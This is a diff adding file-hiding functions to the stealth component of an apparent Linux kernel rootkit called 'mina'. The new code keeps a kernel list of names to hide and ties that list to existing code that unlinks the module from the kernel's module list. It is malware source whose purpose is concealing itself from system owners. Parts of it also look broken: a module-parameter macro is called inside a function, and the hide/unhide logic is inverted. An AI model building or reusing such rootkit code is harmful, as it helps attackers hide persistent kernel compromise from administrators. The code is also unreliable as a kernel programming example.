diff --git a/rootkit/sources/stealth.c b/rootkit/sources/stealth.c
@@ -10,10 +10,72 @@
#include "../includes/mina.h"
+/* Simple struct to keep in memory the files we want to hide */
+struct st_hide_file {
+ char *name;
+ struct list_head list;
+};
+LIST_HEAD(hide_files);
+
+static void file_unhide(char *name) {
+ struct st_hide_file *_file, *tmp;
+ list_for_each_entry_safe(_file, tmp, &hide_files, list) {
+ if (strncmp(name, _file->name, strlen(_file->name)) == 0) {
+ list_del(&_file->list);
+
+ kfree(_file->name);
+ kfree(_file);
+ break;
+ }
+ }
+}
+
+static void file_hide(char *name) {
+ struct st_hide_file *_file;
+ if (name == NULL || name[0] == '\0') {
+ return;
+ }
+ _file = kmalloc(sizeof(*_file), GFP_KERNEL);
+ if (!_file)
+ return;
+ _file->name = name;
+ list_add(&_file->list, &hide_files);
+}
+
+static int file_lookup_hidelist(char *name) {
+ struct st_hide_file *tmp_file;
+
+ list_for_each_entry(tmp_file, &hide_files, list) {
+ if (strncmp(name, tmp_file->name, strlen(tmp_file->name)) == 0) {
+ return 1;
+ }
+ }
+ return 0;
+}
+
+static int toggle_hide_file(void) {
+ /* module filename, that will we want to hide:) */
+ static char module_name[512] = {0};
+
+ if (*module_name == 0) {
+ module_param_string(charp, module_name, 512, S_IRUSR);
+ }
+ if (file_lookup_hidelist(module_name)) {
+ printk(KERN_INFO "[mina] hiding file\n");
+ file_hide(module_name);
+ } else {
+ printk(KERN_INFO "[mina] revealing file\n");
+ file_unhide(module_name);
+ }
+ return 1;
+}
+
void toggle_hide_module(void) {
static int current_module_is_hidden = 0;
static struct list_head *prev_module = NULL;
+ toggle_hide_file();
+
if (current_module_is_hidden == 1) {
if (prev_module) {
list_add(&THIS_MODULE->list, prev_module);
|